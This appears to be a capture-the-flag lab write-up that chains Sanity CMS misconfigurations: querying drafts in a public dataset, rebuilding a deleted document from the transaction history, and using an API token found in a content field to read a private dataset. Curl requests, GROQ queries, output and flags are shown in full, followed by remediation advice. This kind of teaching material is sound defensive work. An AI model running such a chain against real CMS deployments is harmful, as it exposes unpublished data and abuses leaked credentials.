

CMS

HACKERDNA · REPRODUCING THE MARCH 2026 MYTHOS DRAFT-EXPOSURE LEAK

Mythos Leak

A public Sanity dataset serves unpublished drafts.** → the unreleased frontier-model post → a deleted briefing resurrected from the transaction log → a token pasted into a content field → the private dataset.

MACHINE

Mythos Leak

CATEGORY

Web · Headless CMS

DIFFICULTY

Medium

PLATFORM

Sanity + Next.js

RESULT

2 / 2 flags

OPERATOR

Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

No shell, no CVE — a public dataset, a draft query, and a token in a text field.

Category **Headless CMS** · Difficulty **Medium** · Platform **Sanity (GROQ)** · Frontend **Next.js**
"Philanthropic AI"

The "Philanthropic AI" site is a Next.js front-end backed by a **Sanity** headless CMS (projectId `mk9v4t2x`, dataset `production`). The dataset is **publicly readable**: anyone can run GROQ queries against it, and Sanity keeps **unpublished drafts** in that same dataset as documents whose `_id` begins with `drafts..` Querying for those drafts discloses an **embargoed announcement of an unreleased frontier model** — the leak the incident describes.

Pushing further: the leaked draft references an internal briefing that was **deleted** pre-launch. In Sanity, deletion removes the document but not its **transaction history** — the old revision is reconstructable through the history API. That revision contains an **API token** a migration accidentally stored in an `author.notes` field, and that token unlocks a separate, non-public `internal` dataset holding the second flag.

#	STAGE	TECHNIQUE	RESULT
1	API enumeration	Sanity config from JS · host-in-path proxy	GROQ query access
2	Info disclosure	<code>*[_id in path("drafts.**")]</code>	unreleased model draft · flag 1
3	Revision history	transaction log + <code>?revision=</code>	deleted briefing reconstructed
4	Token abuse	<code>sk...</code> token in <code>author.notes</code>	internal-dataset credential
5	Privilege escalation	Bearer token → <code>internal</code> dataset	private briefing · flag 2

01 • API ENUMERATION

The front-end tells you where the CMS lives

One nginx port; the interesting surface is the CMS API the Next.js client talks to.

\$ FRONT-END JS CHUNK – THE SANITY CLIENT

CONFIG

```
/*! @sanity/client v6.12.3 */
createClient({ projectId:"mk9v4t2x", dataset:"production",
  apiVersion:"2021-10-21", useCdn:true, perspective:"published" })
c.fetch('*[_type=="post"]|order(_createdAt desc)') // client only ever sees "published"
```

The gateway does not route the real Sanity host-headers (they return Kong's **no Route matched**). But a rendered image URL leaks the proxy convention — upstream services are mounted **by hostname as a path prefix**:

\$ THE TELL – AN IMAGE SRC IN THE HTML

PROXY

```

# pattern: /{upstream-host}/{original-path} -> the query API is:
$ curl '.../mk9v4t2x.api.sanity.io/v2021-10-21/data/query/production?query=count(*)'
{"query":"count(*)","result":2,"ms":3} # GET works – public, unauthenticated
```

02 · INFORMATION DISCLOSURE — THE LEAK

Drafts live in the public dataset

The client pins `perspective:"published"`, but that is a **client-side courtesy, not a server control**.

The raw dataset contains draft documents (`_id` prefixed `drafts.`); a direct GROQ query returns them:

```
$ QUERY THE DRAFTS (PUBLIC PRODUCTION DATASET)
```

DISCLOSURE

```
$ GET .../data/query/production?query=*[_id in path("drafts.*")]
```

```
{ "_id": "drafts.featurePhilanthropic", "_type": "post",  
  "title": "Introducing Philanthropic: a step change in capability",  
  "body": "EMBARGOED DRAFT. Do not publish.\n Philanthropic is a new tier above our  
          current flagship ... dramatically higher on coding and cybersecurity ...  
  >>> USER FLAG: c1709390-d69f-42d1-b0cf-8e962f5281ef <<<  
  See the internal briefing (_id: drafts.internalBriefing) ... It was pulled  
  before launch, but the transaction log still lists its old revisions." }
```

REPRODUCED

This is the incident verbatim: an unreleased frontier model disclosed because unpublished drafts share a world-readable dataset. The document also signposts the next step.

03 • REVISION HISTORY — RESURRECTING A DELETION

Deleting the document didn't delete its history

The referenced `drafts.internalBriefing` is gone from the current dataset (a GROQ query returns []). But Sanity's **transaction log** is retained and readable, and it records every mutation — including the create that preceded the delete:

```
$ TRANSACTION LOG FOR THE DELETED DOCUMENT
```

```
HISTORY
```

```
$ GET .../data/history/production/transactions/drafts.internalBriefing
{"id":"txn-a10e8844","timestamp":"2026-02-20...", "mutations":
[{"create":...}], "revision":"rev-121b279bc8fd"}
{"id":"txn-c73b2219","timestamp":"2026-03-05...", "mutations":[{"delete":...}], "revision":"rev-deleted"}
```

With a pre-deletion revision id, the history API reconstructs the document as it existed then:

```
$ DOCUMENT AT REVISION REV-121B279BC8FD
```

```
RECONSTRUCT
```

```
$ GET .../data/history/production/documents/drafts.internalBriefing?revision=rev-121b279bc8fd
{ "_id":"drafts.internalBriefing", "_type":"briefing",
  "title":"Internal Philanthropic Launch Briefing",
  "body":"[REDACTED - contact comms lead before republishing]",
  "author":{"name":"Security Review",
    "notes":"Token rotated into author.notes during migration - cleanup pending.
      API token for the internal dataset: skNFoYVeza7gNTSTlS_Ma55Phzzl6ooMNSYXPpR8gmdZY" } }
```

04 · TOKEN ABUSE → PRIVILEGE ESCALATION

A secret in a content field is a secret

The resurrected briefing leaks a Sanity **API token** (sk...) that a migration pasted into `author.notes`. That token is a bearer credential for the non-public `internal` dataset — the escalation the public report never reached:

\$ ABUSE THE TOKEN AGAINST THE INTERNAL DATASET

PRIVESC

```
$ curl -H 'Authorization: Bearer skNFoYVeza7gNTSTlS_Ma55Phzzl6ooMNSYXPPpR8gmdZY' \
'.../mk9v4t2x.api.sanity.io/v2021-10-21/data/query/internal?query=*[0]'
```

```
{ "_id": "briefing-philanthropic", "_type": "briefing",
  "title": "Philanthropic Internal Launch Briefing",
  "body": "Cleared for internal distribution only. Launch window TBD.
  >>> ROOT FLAG: b526113a-399f-42b3-9e2f-43c376430d1b <<<" }
```

ONE STEP FURTHER

The public researchers stopped at the draft disclosure. The revision-history + leaked-token chain crosses from the public dataset into the private one — a genuine trust-boundary crossing, not just more of the same read.

05 · IMPACT & REMEDIATION

Four small content-ops mistakes, one continuous disclosure

- ▶ **Public dataset with drafts.** A Sanity dataset set to public read exposes *everything*, including *drafts*.*. Restrict read access with tokens/roles, or keep unpublished content in a separate, non-public dataset. *perspective* on the client is presentation, never authorization.
- ▶ **Retained history on a public dataset.** The transaction log and history API let anyone reconstruct deleted documents. History must inherit the same access control as live content; "delete" is not "erase."
- ▶ **Secrets in content fields.** An API token in *author.notes* is a token in a world-readable place. Never store credentials in CMS documents; rotate this one immediately — it is burned.
- ▶ **Over-scoped token.** A single token that reads the entire private dataset is broad. Scope tokens to least privilege and monitor their use.

LESSON

Data-layer misconfigurations chain exactly like memory bugs — each read enables the next. The frontier-model draft was the headline; the reusable lesson is that "unpublished," "deleted," and "internal" are only as private as the dataset's access policy and its *history*.

Flags, endpoints & queries

USER

c1709390-d69f-42d1-b0cf-8e962f5281ef

CAPTURED

ROOT

b526113a-399f-42b3-9e2f-43c376430d1b

CAPTURED

ENDPOINTS (HOST-IN-PATH PROXY: /MK9V4T2X.API.SANITY.IO/V2021-10-21)

PURPOSE	REQUEST
draft disclosure	/data/query/production?query=[_id in path("drafts.**")]
transaction log	/data/history/production/transactions/drafts.internalBriefing
reconstruct deleted	/data/history/production/documents/drafts.internalBriefing? revision=rev-121b279bc8fd
privesc (token)	Authorization: Bearer sk... → /data/query/internal?query=[0]

- platform – Sanity CMS · projectId mk9v4t2x · GROQ.
- leak – public production dataset serves drafts.**.
- history – deleted doc rebuilt via ?revision=.
- token – sk... in author.notes → internal dataset.

Solved 2/2 flags. Reproduced the disclosure, then crossed the boundary the public report stopped at.